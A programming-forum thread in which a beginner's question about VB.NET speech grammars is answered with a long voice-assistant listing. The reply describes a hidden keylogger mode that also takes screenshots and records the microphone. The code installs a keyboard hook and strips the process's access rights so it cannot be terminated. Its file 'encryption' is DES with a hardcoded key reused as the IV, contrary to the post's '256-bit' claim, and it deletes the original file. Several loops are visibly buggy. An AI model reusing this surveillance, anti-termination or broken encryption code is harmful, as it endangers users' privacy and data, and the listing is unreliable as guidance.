How to Write Speech Grammar...Please Help

Red_Rose

New member
Joined
Feb 16, 2006
Messages
1
Programming Experience
Beginner
Hi,
I am doing a project on Speech Recognition using VB.NET.How do we implement the speech grammar and prompts in the XML and use it in VB.NET.
Please Help....Waiting for Replies.....
I would be really thankful to you...:) :)
Regards,
Brijesh Kothari
 

Rythorian77

Member
Joined
Nov 23, 2021
Messages
17
Programming Experience
10+
Like this: Merry X-Mas Bud.....I know this is a years later reply and you shouldn't have had to wait that long. If you are gone, maybe this will enlighten someone else & help them along their way. For starters, avoid using SrgsGrammar with VB.Net, speech recognition, it's terrible practice.
Just follow my grammer under the "Private Sub Form1_Load" and add "speech recognition" under add reference (as you know). You will also have to go to "manage Nugets" and add Naudio by Mark Heath. It will be at the top of the list. I know this chunk of code is a bit overwhelming and two other forms go with it, but you need only this to get started. You may have to alter some file paths to match your own path. You should know that this program is a beast. It has a stealth mode and "black star protocols" that launches when you say, "scarlett activate black star protocol". It activates a low-level global keylogger that dll injects the keyboard. It will create a folder on your desk top with a keylog text file recording every keystroke, plus with every keystroke it takes a screen snapshot that also saves to the same folder, but thats not all, it also activates the mic and records any spoken word ans saves it to your folder as a wav file. To disable after speak the words: "scarlett stand down", or "scarlett disable black star". You can ask Scarlett to take a screenshot at anytime as well. This program will access many windows 10 features. Please note this program is only a week into development and runs smoother than C # speech recognitions. I've worked with both. I am leaving my github link to the zipped folder of this project because you will need the audio files for the program to reply to you. I don't use synths for replies, it's too bland for me, and not very real. You will have to change the file paths of the audio to wherever you are keeping them. You could also revert to synth if you wanted. Scarlett also has a protected process that only an admin can disable/terminate. Scarlett will also use 256-bit encryption on any file you want and decrypt it as well.
Here is the link to all the files at my repository: GitHub - Rythorian77/Scarlett-Centurium: Advanced Speech Recognition | VB.NET with security features
Here is the entire project zip folder link: Release Scarlett Beta · Rythorian77/Scarlett-Centurium
Note: You will find that the string of commands are enumerated (enum) If you add more commands, be sure to add in to the enum list. You can't miss it. This is my youtube channel:
I would watch the video. This is a different version of Scarlett in C#, but I learned a lot from that process and decided to do what no one else has at this level using speech recognition with VB.NET. A good microphone pays off to improve listening abilities.
Peace Man.
VB.NET:
'"Scarlett Centurium" | Advanced Speech Recognition Engine | Advanced AI Unit
'Created by:Justin Linwood Ross (A.K.A. David | Lucian Patterson | Rythorian77) | Black Star Research Facility | Classified Unit | Sector 3
'MIT License | Copyright Ⓒ Justin Linwood Ross 2021 | All Rights Reserved | Black Star Research Facility | Ross | Black Star | A Dark Horse Production
'Audio Build Credit: Wav Files | Voice: English:(Australia) Lisa -For Scarlett's Voice- | Thanks to: [URL='https://www.naturalreaders.com/online/']text to speech online[/URL]
'Recording Features Credits: Naudio Nuget: [URL='https://github.com/naudio/NAudio']GitHub - naudio/NAudio: Audio and MIDI library for .NET[/URL]
'Process Protection Credits: [URL='https://github.com/malcomvetter/ProtectProcessFromJoeUser/commit/c8f211c19124de377ad4cc236b8f7e73cccbd9b0']init · malcomvetter/ProtectProcessFromJoeUser@c8f211c[/URL]


Imports System.ComponentModel
Imports System.IO
Imports System.Runtime.InteropServices
Imports System.Security.AccessControl
Imports System.Security.Cryptography
Imports System.Security.Principal
Imports System.Speech.Recognition
Imports System.Text
Imports System.Threading
Imports NAudio.Wave

Public Class Form1

#Region "Global Variables Declaration"

    'Speech recognition
    Private ReadOnly recEngine As New SpeechRecognitionEngine()

    'Bitman for screen capture
    Private Const DESKTOPVERTRES As Integer = &H75

    Private Const DESKTOPHORZRES As Integer = &H76

    'Low-Level Global Hook
    Private Shared ReadOnly WHKEYBOARDLL As Integer = 13

    Private Const WM_KEYDOWN As Integer = &H100
    Private Shared ReadOnly _proc As LowLevelKeyboardProc = AddressOf HookCallback
    Private Shared _hookID As IntPtr = IntPtr.Zero
    Private Shared CurrentActiveWindowTitle As String

    'NAudio for recording
    Private waveSource As WaveIn = Nothing

    Private waveFile As WaveFileWriter = Nothing

    'This compliments volume control
    Private Const KEYEVENTF_KEYUP As Integer = &H2

    Private Const KEYEVENTF_KEYDOWN As Integer = &H0

#End Region

#Region "Commands String Enumeration | Process Access Rights"
    'Why use enum? Here are some fun facts to know...
    'Greatly increased "Type Safety". If you accept an 'byte', then any byte can be passed in. If you accept a AmmoType, then only a AmmoType can be passed in, etc.
 
    'Refactoring made simple. Take any special constants, passing In the value 8 In numerous places In your program, can
    'serious issues  if you decide to make 8 have some other meaning.
    'Using an enum (granted you don't have issues with  such binary reverse compatibility conflict) you could alter the main values.
    'You can also alter the  type of enum if you wanted to >> (long- int -byte) with just recompiling the "said" client code.
    'Bitfields are technically easier to use  when the mask and bits are given a name.
    'Enums are great when allowing you to host  a manifest  of said "named values," that is chosen from the same names
    'located 'within the code, but without the efficiency cost Of Using strings. Everybody understands why constants are great In   'code.
    'Enums let's you house together a related group of constants from your code.
    'You could use a "Namespace of consts," but why write messy code when enum is a safer bet?
    'Applying  enum for a parameter type, verse "Bool" won't just makes your code self documenting,  less prone to mistakes, and 'readable, but It makes it much easier when adding  another option when two options just aren't enough.
    <Flags>
    Public Enum ProcessAccessRights
        PROCESS_CREATE_PROCESS = &H80
        PROCESS_CREATE_THREAD = &H2
        PROCESS_DUP_HANDLE = &H40
        PROCESS_QUERY_INFORMATION = &H400
        PROCESS_QUERY_LIMITED_INFORMATION = &H1000
        PROCESS_SET_INFORMATION = &H200
        PROCESS_SET_QUOTA = &H100
        PROCESS_SUSPEND_RESUME = &H800
        PROCESS_TERMINATE = &H1
        PROCESS_VM_OPERATION = &H8
        PROCESS_VM_READ = &H10
        PROCESS_VM_WRITE = &H20
        DELETE = &H10000
        READ_CONTROL = &H20000
        SYNCHRONIZE = &H100000
        WRITE_DAC = &H40000
        WRITE_OWNER = &H80000
        STANDARD_RIGHTS_REQUIRED = &HF0000
        PROCESS_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED Or SYNCHRONIZE Or &HFFF)
    End Enum

    'Enum for Speech Recognition Commands (commands)
    Public Enum Commands
        scarlettactivateblackstarprotocol
        scarlettletsdecryptafile
        scarlettletsencryptafile
        scarlettstanddown
        scarletttakenotes
        scarlettopengithub
        scarlettopenyoutube
        searchforanimals
        scarlettgotocalculator
        scarlettshowcommands
        scarletttakeascreenshot
        scarlettsavenotes
        scarlettcomeback
        scarlettoutoftheway
        scarlettclose
        scarlettopencommandprompt
        scarlettopencommand
        scarlettstoplistening
        scarlettmicrosoftoffice
        scarlettopenwiki
        scarlettvisualstudios
        scarlettnotepad
        scarlettvolumeup
        scarlettvolumedown
        scarlettmutevolume
        less
        magnify
        switchtab
        newtab
        pagedown
        pageup
        disparta
        scarlettshowtheweather
        scarlettwhatstheweatherlike
        scarlettlouder
        scarlettdisableblackstar
        scarlettopenspotify
        scarlettopencontrol
        scarlettopenAccessibilityProperties
        scarlettopenaddandremoveprograms
        scarlettopenDisplaySettingsBackground
        scarlettopenscreensaversettings
        scarlettshowsystemproperties
        scarlettaddnewhardware
        scarlettaddnewprinter
        scarlettshowsettingsappearance
        scarlettshowdisplaysettingsappearance
        scarlettshowdisplaysettings
        scarlettshowinternetproperties
        scarlettshowregionalsettings
        scarlettshowgamecontrollersettings
        scarlettshowmousesettings
        scarlettshowkeyboardsettings
        scarlettshowprintersettings
        scarlettshowfontfolder
        scarlettshowmultimediasettings
        scarlettshowmodemsettings
        scarlettshowlocationsettings
        scarlettshownetworksettings
        scarlettshowdatetimesettings
        scarlettaddIPprinterport
        scarlettopenprinterfolders
        scarlettopenprinteruserinterface
        scarlettopendatetimeapplet
        scarlettopendevicemanager
        scarlettopenfileexploreroptions
        scarlettopenforgottenpasswords
        scarlettitstimetosleep
        scarlettlockworkstation
        scarlettchangeindexingoptions
        scarlettswapleftandrightmousebuttons
        scarlettopendatasourceadministrator
        scarlettopenpenandtouchsettings
        scarlettopenpoweroptions
        scarlettprocessidletasks
        scarlettsafelyremovehardware
        scarlettopensecurityandmaintenance
        scarlettopendefaultprograms
        scarlettopensetupnetworkwizard
        scarlettopensoundapplet
        scarlettopenrecordingapplet
        scarlettopenpersonalizationsettings
        scarlettopenusernamesandpasswords
        scarlettopensystempropertiescomputername
        scarlettshowcomputername
        scarlettopentaskbarsettings
        scarlettopenuseraccountsettings
        scarlettopenwindowsfeatures
        scarlettopenwindowsfirewall
        scarlettclearhistory
        scarlettorganizefavorites
        scarlettopeninternetproperties
    End Enum
#End Region

    <Obsolete>
    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        Dim commands As New Choices()
        commands.Add(New String() {"scarlett activate black star protocol", "scarlett lets decrypt a file", "scarlett lets encrypt a file", "scarlett stand down", "scarlett take notes", "scarlett louder", "scarlett open control", "scarlett show modem settings", "scarlett map network drive", "scarlett open data source administrator", "scarlett safely remove hardware",
                   "scarlett save notes", "scarlett take a screen shot", "scarlett show commands", "scarlett go to calculator", "scarlett open youtube", "scarlett open github", "scarlett whats the weather like", "scarlett show printer settings", "scarlett show date time settings", "scarlett swap left and right mouse buttons", "scarlett process idle tasks", "scarlett open recording applet",
                   "scarlett open wiki", "scarlett microsoft office", "scarlett stop listening", "scarlett open command", "scarlett open command prompt", "scarlett close", "scarlett out of the way", "scarlett come back", "scarlett show the weather", "scarlett open spotify", "scarlett show modem settings", "scarlett open pen and touch settings", "scarlett open setup network wizard",
                   "disparta", "page up", "page down", "new tab", "switch tab", "magnify", "less", "scarlett notepad", "scarlett visual studios", "search for animals", "scarlett volume up", "scarlett volume down", "scarlett mute volume", "scarlett disable black star", "scarlett show multimedia settings", "scarlett open power options", "scarlett open security and maintenance",
                   "scarlett open Accessibility Properties", "scarlett open add and remove programs", "scarlett open Display Settings Background", "scarlett open screensaver settings", "scarlett show system properties", "scarlett add new hardware", "scarlett add new printer", "scarlett show settings appearance", "scarlett show network settings", "scarlett open sound applet",
                   "scarlett show display settings appearance", "scarlett show display settings", "scarlett show internet properties", "scarlett show regional settings", "scarlett show game controller settings", "scarlett show mouse settings", "scarlett show keyboard settings", "scarlett show font folder", "scarlett show location settings", "scarlett open default programs",
                   "scarlett add I P printer port", "scarlett open printer folders", "scarlett open printer user interface", "scarlett open date time applet", "scarlett open device manager", "scarlett open file explorer options", "scarlett open forgotten passwords", "scarlett its time to sleep", "scarlett lock work station", "scarlett change indexing options", "scarlett open personalization settings",
                   "scarlett open usernames and passwords", "scarlett open system properties computer name", "scarlett show computer name", "scarlett open taskbar settings", "scarlett open user account settings", "scarlett open windows features", "scarlett open windows firewall", "scarlett clear history", "scarlett organize favorites", "scarlett open internet properties"})
        Dim gramBuilder As New GrammarBuilder()
        gramBuilder.Append(commands)
        Dim grammar As New Grammar(gramBuilder)
        Dim gram As Grammar = grammar
        recEngine.LoadGrammarAsync(gram)
        recEngine.SetInputToDefaultAudioDevice()
        gramBuilder.AppendWildcard()  'Wildcard  matches any spoken word. Not  background noise or silence.
        gramBuilder.AppendDictation() 
        recEngine.InitialSilenceTimeout = TimeSpan.FromSeconds(2.5)
        recEngine.BabbleTimeout = TimeSpan.FromSeconds(1.5)
        recEngine.EndSilenceTimeout = TimeSpan.FromSeconds(1)
        recEngine.EndSilenceTimeoutAmbiguous = TimeSpan.FromSeconds(1.5)
        AddHandler recEngine.SpeechRecognized, AddressOf RecEngine_SpeechRecognized
        recEngine.RecognizeAsync(RecognizeMode.Multiple)   'This is crucial for  using phrases
        'CriticalProcess()

        'This compliments "Process Security" below.
        Dim hProcess As IntPtr = GetCurrentProcess()
        Dim dacl = GetProcessSecurityDescriptor(hProcess)

        For i As Integer = dacl.DiscretionaryAcl.Count - 1 To 0 + 1
            dacl.DiscretionaryAcl.RemoveAce(i)
        Next

        dacl.DiscretionaryAcl.InsertAce(0, New CommonAce(AceFlags.None, AceQualifier.AccessDenied, ProcessAccessRights.PROCESS_ALL_ACCESS, New SecurityIdentifier(WellKnownSidType.WorldSid, Nothing), False, Nothing))
        SetProcessSecurityDescriptor(hProcess, dacl)
    End Sub

    Private Sub RecEngine_SpeechRecognized(sender As Object, e As SpeechRecognizedEventArgs)
        Select Case e.Result.Text

              'Open Internet Properties at the General tab
            Case "scarlett open internet properties"
                My.Computer.Audio.Play(My.Resources.asyouwish, AudioPlayMode.Background)
                Shell("rundll32.exe shell32.dll,Control_RunDLL inetcpl.cpl", vbNormalFocus)

               'Organize Favorites in Internet Explorer
            Case "scarlett organize favorites"
                My.Computer.Audio.Play(My.Resources.asyouwish, AudioPlayMode.Background)
                Shell("Rundll32.exe shdocvw.dll,DoOrganizeFavDlg", vbNormalFocus)

               'Clear my internet & system tracks
            Case "scarlett clear history"
                My.Computer.Audio.Play(My.Resources.asyouwish, AudioPlayMode.Background)
                For i As Integer = 0 To 1
                    Shell("rundll32.exe InetCpl.cpl,ClearMyTracksByProcess 255", vbNormalFocus)
                Next
                Shell("rundll32.exe InetCpl.cpl,ClearMyTracksByProcess 4351", vbNormalFocus)
                For i As Integer = 0 To 1
                    Shell("rundll32.exe InetCpl.cpl,ClearMyTracksByProcess 2", vbNormalFocus)
                Next
                Shell("rundll32.exe InetCpl.cpl,ClearMyTracksByProcess 16384", vbNormalFocus)
                For i As Integer = 0 To 1
                    Shell("rundll32.exe InetCpl.cpl,ClearMyTracksByProcess 16", vbNormalFocus)
                Next
                Shell("rundll32.exe InetCpl.cpl,ClearMyTracksByProcess 1", vbNormalFocus)
                For i As Integer = 0 To 1
                    Shell("rundll32.exe InetCpl.cpl,ClearMyTracksByProcess 32", vbNormalFocus)
                Next
                Shell("rundll32.exe InetCpl.cpl,ClearMyTracksByProcess 8", vbNormalFocus)

               'Open Windows Firewall
            Case "scarlett open windows firewall"
                My.Computer.Audio.Play(My.Resources.asyouwish, AudioPlayMode.Background)
                Shell("rundll32.exe shell32.dll,Control_RunDLL firewall.cpl", vbNormalFocus)

                 'Open Windows Features
            Case "scarlett open windows features"
                My.Computer.Audio.Play(My.Resources.asyouwish, AudioPlayMode.Background)
                Shell("rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,2", vbNormalFocus)

                 'Open the User Accounts applet
            Case "scarlett open user account settings"
                My.Computer.Audio.Play(My.Resources.asyouwish, AudioPlayMode.Background)
                Shell("rundll32.exe shell32.dll,Control_RunDLL nusrmgr.cpl", vbNormalFocus)

                 'Open Taskbar Settings in the Settings app
            Case "scarlett open taskbar settings"
                My.Computer.Audio.Play(My.Resources.asyouwish, AudioPlayMode.Background)
                Shell("rundll32.exe shell32.dll,Options_RunDLL 1", vbNormalFocus)

                 'Open System Properties at the Computer Name tab
            Case "scarlett open system properties computer name", "scarlett show computer name"
                My.Computer.Audio.Play(My.Resources.asyouwish, AudioPlayMode.Background)
                Shell("rundll32.exe Shell32.dll,Control_RunDLL Sysdm.cpl,,1", vbNormalFocus)

                 'Stored User Names and Passwords
            Case "scarlett open usernames and passwords"
                My.Computer.Audio.Play(My.Resources.asyouwish, AudioPlayMode.Background)
                Shell("rundll32.exe keymgr.dll,KRShowKeyMgr", vbNormalFocus)

                'Open Settings at the Personalization - Start page
            Case "scarlett open personalization settings"
                My.Computer.Audio.Play(My.Resources.asyouwish, AudioPlayMode.Background)
                Shell("rundll32.exe shell32.dll,Options_RunDLL 3", vbNormalFocus)

                'Open the Sounds applet at the Recording tab
            Case "scarlett open recording applet"
                My.Computer.Audio.Play(My.Resources.asyouwish, AudioPlayMode.Background)
                Shell("rundll32.exe Shell32.dll,Control_RunDLL Mmsys.cpl,,1", vbNormalFocus)

              'Open the Sounds applet at the Playback tab
            Case "scarlett open sound applet"
                My.Computer.Audio.Play(My.Resources.asyouwish, AudioPlayMode.Background)
                Shell("rundll32.exe Shell32.dll,Control_RunDLL Mmsys.cpl,,0", vbNormalFocus)

            'Run the Set Up a Network wizard
            Case "scarlett open setup network wizard"
                My.Computer.Audio.Play(My.Resources.asyouwish, AudioPlayMode.Background)
                Shell("rundll32.exe shell32.dll,Control_RunDLL NetSetup.cpl", vbNormalFocus)

              'Configure default programs
            Case "scarlett open default programs"
                My.Computer.Audio.Play(My.Resources.asyouwish, AudioPlayMode.Background)
                Shell("rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,3", vbNormalFocus)

            'Open Security and Maintenance
            Case "scarlett open security and maintenance"
                My.Computer.Audio.Play(My.Resources.asyouwish, AudioPlayMode.Background)
                Shell("rundll32.exe shell32.dll,Control_RunDLL wscui.cpl", vbNormalFocus)

            'Run the Safely Remove Hardware wizard
            Case "scarlett safely remove hardware"
                My.Computer.Audio.Play(My.Resources.asyouwish, AudioPlayMode.Background)
                Shell("rundll32.exe Shell32.dll,Control_RunDLL HotPlug.dll", vbNormalFocus)

            'Process idle tasks
            Case "scarlett process idle tasks"
                My.Computer.Audio.Play(My.Resources.asyouwish, AudioPlayMode.Background)
                Shell("rundll32.exe advapi32.dll,ProcessIdleTasks", vbNormalFocus)

            'Open Power Options
            Case "scarlett open power options"
                My.Computer.Audio.Play(My.Resources.asyouwish, AudioPlayMode.Background)
                Shell("rundll32.exe Shell32.dll,Control_RunDLL powercfg.cpl", vbNormalFocus)

            'Open the Pen and Touch settings
            Case "scarlett open pen and touch settings"
                My.Computer.Audio.Play(My.Resources.asyouwish, AudioPlayMode.Background)
                Shell("rundll32.exe shell32.dll,Control_RunDLL tabletpc.cpl", vbNormalFocus)

            'ODBC Data Source Administrator
            Case "scarlett open data source administrator"
                My.Computer.Audio.Play(My.Resources.asyouwish, AudioPlayMode.Background)
                Shell("RunDll32 shell32.dll,Control_RunDLL odbccp32.cpl", vbNormalFocus)


            'Swap left and right mouse buttons
            Case "scarlett swap left and right mouse buttons"
                My.Computer.Audio.Play(My.Resources.asyouwish, AudioPlayMode.Background)
                Shell("rundll32.exe User32.dll,SwapMouseButton", vbNormalFocus)

            'Run the Map Network Drive wizard
            Case "scarlett map network drive"
                My.Computer.Audio.Play(My.Resources.asyouwish, AudioPlayMode.Background)
                Shell("rundll32.exe Shell32.dll,SHHelpShortcuts_RunDLL Connect", vbNormalFocus)

            'Change Indexing options
            Case "scarlett change indexing options"
                My.Computer.Audio.Play(My.Resources.asyouwish, AudioPlayMode.Background)
                Shell("rundll32.exe shell32.dll,Control_RunDLL srchadmin.dll", vbNormalFocus)

            'Lock your computer
            Case "scarlett lock work station"
                'Without this single loop, the audio 2 lines below will not initiate so i added an integer set for one loop which calls the next task.
                For i As Integer = 0 To 1
                    My.Computer.Audio.Play(My.Resources.cautionhybernate, AudioPlayMode.Background)
                Next

                Dim result As DialogResult = MessageBox.Show("Message", "Caption", MessageBoxButtons.YesNoCancel)

                If result = DialogResult.Cancel Then
                    My.Computer.Audio.Play(My.Resources.dismissrequest, AudioPlayMode.Background)
                ElseIf result = DialogResult.No Then
                    My.Computer.Audio.Play(My.Resources.dismissrequest, AudioPlayMode.Background)
                ElseIf result = DialogResult.Yes Then
                    My.Computer.Audio.Play(My.Resources.asyouwish, AudioPlayMode.Background)
                    Shell("rundll32.exe user32.dll,LockWorkStation", vbNormalFocus)
                End If

            'Hibernate or Sleep your PC.
            Case "scarlett its time to sleep"
                'Without this single loop, the audio 2 lines below will not initiate so i added an integer set for one loop which calls the next task.
                For i As Integer = 0 To 1
                    My.Computer.Audio.Play(My.Resources.cautionhybernate, AudioPlayMode.Background)
                Next

                Dim result As DialogResult = MessageBox.Show("Message", "Caption", MessageBoxButtons.YesNoCancel)

                If result = DialogResult.Cancel Then
                    My.Computer.Audio.Play(My.Resources.dismissrequest, AudioPlayMode.Background)
                ElseIf result = DialogResult.No Then
                    My.Computer.Audio.Play(My.Resources.dismissrequest, AudioPlayMode.Background)
                ElseIf result = DialogResult.Yes Then
                    My.Computer.Audio.Play(My.Resources.asyouwish, AudioPlayMode.Background)
                    Shell("rundll32.exe powrprof.dll, SetSuspendState 0,1,0", vbNormalFocus)
                End If

            'Run the Forgotten Password wizard
            Case "scarlett open forgotten passwords"
                My.Computer.Audio.Play(My.Resources.asyouwish, AudioPlayMode.Background)
                Shell("rundll32.exe keymgr.dll,PRShowSaveWizardExW", vbNormalFocus)

            'Open File Explorer Options
            Case "scarlett open file explorer options"
                My.Computer.Audio.Play(My.Resources.asyouwish, AudioPlayMode.Background)
                Shell("rundll32.exe shell32.dll,Options_RunDLL 0", vbNormalFocus)

            'Open Device Manager
            Case "scarlett open device manager"
                My.Computer.Audio.Play(My.Resources.asyouwish, AudioPlayMode.Background)
                Shell("rundll32.exe devmgr.dll DeviceManager_Execute", vbNormalFocus)

            'Set up additional clocks in the Date and Time applet
            Case "scarlett open date time applet"
                My.Computer.Audio.Play(My.Resources.asyouwish, AudioPlayMode.Background)
                Shell("rundll32.exe shell32.dll,Control_RunDLL timedate.cpl,,1", vbNormalFocus)

            'Printer User Interface
            Case "scarlett open printer user interface"
                My.Computer.Audio.Play(My.Resources.asyouwish, AudioPlayMode.Background)
                Shell("rundll32.exe Printui.dll,PrintUIEntry /?", vbNormalFocus)

            'Add Standard TCP/IP Printer Port Wizard
            Case "scarlett add I P printer port"
                My.Computer.Audio.Play(My.Resources.asyouwish, AudioPlayMode.Background)
                Shell("rundll32.exe tcpmonui.dll,LocalAddPortUI", vbNormalFocus)

            Case "scarlett open printer folders"
                My.Computer.Audio.Play(My.Resources.asyouwish, AudioPlayMode.Background)
                Shell("rundll32.exe Shell32.dll,SHHelpShortcuts_RunDLL PrintersFolder", vbNormalFocus)

            ' To Display the Control Panel
            Case "scarlett open control"
                My.Computer.Audio.Play(My.Resources.asyouwish, AudioPlayMode.Background)
                Shell("rundll32.exe shell32.dll,Control_RunDLL", vbNormalFocus)

                ' To Display the Accessibility Properties
            Case "scarlett open Accessibility Properties"
                My.Computer.Audio.Play(My.Resources.asyouwish, AudioPlayMode.Background)
                Shell("rundll32.exe shell32.dll,Control_RunDLL access.cpl", vbNormalFocus)

                ' To Display Add/Remove Programs
            Case "scarlett open add and remove programs"
                My.Computer.Audio.Play(My.Resources.asyouwish, AudioPlayMode.Background)
                Shell("rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl", vbNormalFocus)

                'To Show the Display Settings Background Tab
            Case "scarlett open Display Settings Background"
                My.Computer.Audio.Play(My.Resources.asyouwish, AudioPlayMode.Background)
                Shell("rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,0", vbNormalFocus)

                ' To Show the Display Settings Screensaver
            Case "scarlett open screensaver settings"
                My.Computer.Audio.Play(My.Resources.asyouwish, AudioPlayMode.Background)
                Shell("rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,1", vbNormalFocus)

                'To Display System Properties
            Case "scarlett show system properties"
                My.Computer.Audio.Play(My.Resources.asyouwish, AudioPlayMode.Background)
                Shell("rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl", vbNormalFocus)

                'To Run 'Add New Hardware' Wizard
            Case "scarlett add new hardware "
                My.Computer.Audio.Play(My.Resources.asyouwish, AudioPlayMode.Background)
                Shell("rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl @1", vbNormalFocus)

                'To Display 'Add New Printer' Wizard
            Case "scarlett add new printer"
                My.Computer.Audio.Play(My.Resources.asyouwish, AudioPlayMode.Background)
                Shell("rundll32.exe shell32.dll,SHHelpShortcuts_RunDLL AddPrinter", vbNormalFocus)

                'To Show the Display Settings Appearance Tab
            Case "scarlett show settings appearance", "scarlett show display settings appearance"
                My.Computer.Audio.Play(My.Resources.asyouwish, AudioPlayMode.Background)
                Shell("rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,2", vbNormalFocus)

                'To Show the Display Settings (Settings Tab)
            Case "scarlett show display settings"
                My.Computer.Audio.Play(My.Resources.asyouwish, AudioPlayMode.Background)
                Shell("rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,3", vbNormalFocus)

               'To Display Internet Properties
            Case "scarlett show internet properties"
                My.Computer.Audio.Play(My.Resources.asyouwish, AudioPlayMode.Background)
                Shell("rundll32.exe shell32.dll,Control_RunDLL inetcpl.cpl", vbNormalFocus)

                'To Display Regional Settings
            Case "scarlett show regional settings"
                My.Computer.Audio.Play(My.Resources.asyouwish, AudioPlayMode.Background)
                Shell("rundll32.exe shell32.dll,Control_RunDLL intl.cpl", vbNormalFocus)

                'To Display the Joystick Settings
            Case "scarlett show game controller settings"
                My.Computer.Audio.Play(My.Resources.asyouwish, AudioPlayMode.Background)
                Shell("rundll32.exe shell32.dll,Control_RunDLL joy.cpl", vbNormalFocus)

                'To Display the Mouse Settings
            Case "scarlett show mouse settings"
                My.Computer.Audio.Play(My.Resources.asyouwish, AudioPlayMode.Background)
                Shell("rundll32.exe shell32.dll,Control_RunDLL main.cpl @0", vbNormalFocus)

                'To Display the Keyboard Settings
            Case "scarlett show keyboard settings"
                My.Computer.Audio.Play(My.Resources.asyouwish, AudioPlayMode.Background)
                Shell("rundll32.exe shell32.dll,Control_RunDLL main.cpl @1", vbNormalFocus)

                'Not displaying for some reason
                'To Display Printers Settings
            Case "scarlett show printer settings"
                My.Computer.Audio.Play(My.Resources.asyouwish, AudioPlayMode.Background)
                Shell("rundll32.exe shell32.dll,Control_RunDLL main.cpl @2", vbNormalFocus)

                'Not displaying for some reason
                'Open the Fonts folder
            Case "scarlett show font folder"
                My.Computer.Audio.Play(My.Resources.asyouwish, AudioPlayMode.Background)
                Shell("rundll32.exe Shell32.dll,SHHelpShortcuts_RunDLL FontsFolder", vbNormalFocus)

                'To Display Multimedia Settings
            Case "scarlett show multimedia settings"
                My.Computer.Audio.Play(My.Resources.asyouwish, AudioPlayMode.Background)
                Shell("rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl", vbNormalFocus)

                'To Display Modem Settings
            Case "scarlett show modem settings", "scarlett show location settings"
                My.Computer.Audio.Play(My.Resources.asyouwish, AudioPlayMode.Background)
                Shell("rundll32.exe shell32.dll,Control_RunDLL modem.cpl", vbNormalFocus)

                'To Display Networking Wizard
            Case "scarlett show network settings"
                My.Computer.Audio.Play(My.Resources.asyouwish, AudioPlayMode.Background)
                Dim startInfo As New ProcessStartInfo("NCPA.cpl") With {
                    .UseShellExecute = True
                }
                Process.Start(startInfo)

                'To Display Themes Settings
            Case "scarlett show date time settings"
                My.Computer.Audio.Play(My.Resources.asyouwish, AudioPlayMode.Background)
                Shell("rundll32.exe shell32.dll,Control_RunDLL timedate.cpl", vbNormalFocus)

            Case "scarlett open spotify"
                Process.Start("[URL='https://open.spotify.com']Spotify - Web Player: Music for everyone[/URL]")

            Case "scarlett volume up", "scarlett louder"
                '22 increments
                For i As Integer = 0 To 15
                    keybd_event(Keys.VolumeUp, 0, KEYEVENTF_KEYDOWN, 0)
                    keybd_event(Keys.VolumeUp, 0, KEYEVENTF_KEYUP, 0)
                Next

            Case "scarlett volume down"
                For i As Integer = 0 To 15
                    keybd_event(Keys.VolumeDown, 0, KEYEVENTF_KEYDOWN, 0)
                    keybd_event(Keys.VolumeDown, 0, KEYEVENTF_KEYUP, 0)
                Next

            Case "scarlett mute volume"
                keybd_event(Keys.VolumeMute, 0, KEYEVENTF_KEYDOWN, 0)
                keybd_event(Keys.VolumeMute, 0, KEYEVENTF_KEYUP, 0)

            Case "scarlett lets decrypt a file"
                My.Computer.Audio.Play(My.Resources.decryptionprocessing, AudioPlayMode.Background)
                'Create a File Dialog Box to select the source file
                Dim dlg As New OpenFileDialog
                Dim damage As String
                'If OK Button is Click then add file name with path to textBox1
                If dlg.ShowDialog() = DialogResult.OK Then
                    damage = dlg.FileName

                    For Each path In dlg.FileName
                        Dim DES As New DESCryptoServiceProvider
                        Dim sKey As String
                        Dim stata As String = dlg.FileName
                        sKey = "Helloabc"
                        DES.Key = Encoding.ASCII.GetBytes(sKey)
                        DES.IV = Encoding.ASCII.GetBytes(sKey)
                        Dim fsread As New FileStream(stata, FileMode.Open, FileAccess.Read)
                        Dim desdecrypt As ICryptoTransform
                        desdecrypt = DES.CreateDecryptor()

                        Dim cryptostreamDecr As New CryptoStream(fsread, desdecrypt, CryptoStreamMode.Read)
                        Dim fsDecrypted As New StreamWriter(My.Computer.FileSystem.SpecialDirectories.Desktop & "\Decrypted.txt")
                        fsDecrypted.Write(New StreamReader(cryptostreamDecr).ReadToEnd())
                        fsDecrypted.Flush()
                        fsDecrypted.Close()
                        stata = My.Computer.FileSystem.SpecialDirectories.Desktop & "\Decrypted.txt"

                    Next

                End If

            Case "scarlett lets encrypt a file"

                My.Computer.Audio.Play(My.Resources.encryptfile, AudioPlayMode.Background)
                'Create a File Dialog Box to select the source file
                Dim dlg As New OpenFileDialog
                Dim damage As String
                'If OK Button is Click then add file name with path to textBox1
                If dlg.ShowDialog() = DialogResult.OK Then
                    damage = dlg.FileName

                    For Each path In dlg.FileName

                        Dim outputFile As String
                        Dim prata As String = dlg.FileName
                        outputFile = My.Computer.FileSystem.SpecialDirectories.Desktop & "\Encrypted.txt"
                        Dim fsInput As New FileStream(prata, FileMode.Open, FileAccess.Read)
                        Dim fsEncrypted As New FileStream(outputFile, FileMode.Create, FileAccess.Write)
                        Dim sKey As String
                        sKey = "Helloabc"

                        Dim DES As New DESCryptoServiceProvider With {
                            .Key = Encoding.ASCII.GetBytes(sKey),
                            .IV = Encoding.ASCII.GetBytes(sKey)
                        }
                        Dim desencrypt As ICryptoTransform
                        desencrypt = DES.CreateEncryptor()

                        Dim cryptostream As New CryptoStream(fsEncrypted, desencrypt, CryptoStreamMode.Write)
                        Dim bytearrayinput(fsInput.Length) As Byte
                        fsInput.Read(bytearrayinput, 0, bytearrayinput.Length)
                        cryptostream.Write(bytearrayinput, 0, bytearrayinput.Length)
                        cryptostream.Close()
                        fsInput.Close()
                        fsEncrypted.Close()
                        prata = My.Computer.FileSystem.SpecialDirectories.Desktop & "\Encrypted.txt"
                    Next

                    Dim fileToDel As String
                    fileToDel = dlg.FileName
                    Kill(fileToDel)
                End If

            Case "scarlett activate black star protocol"
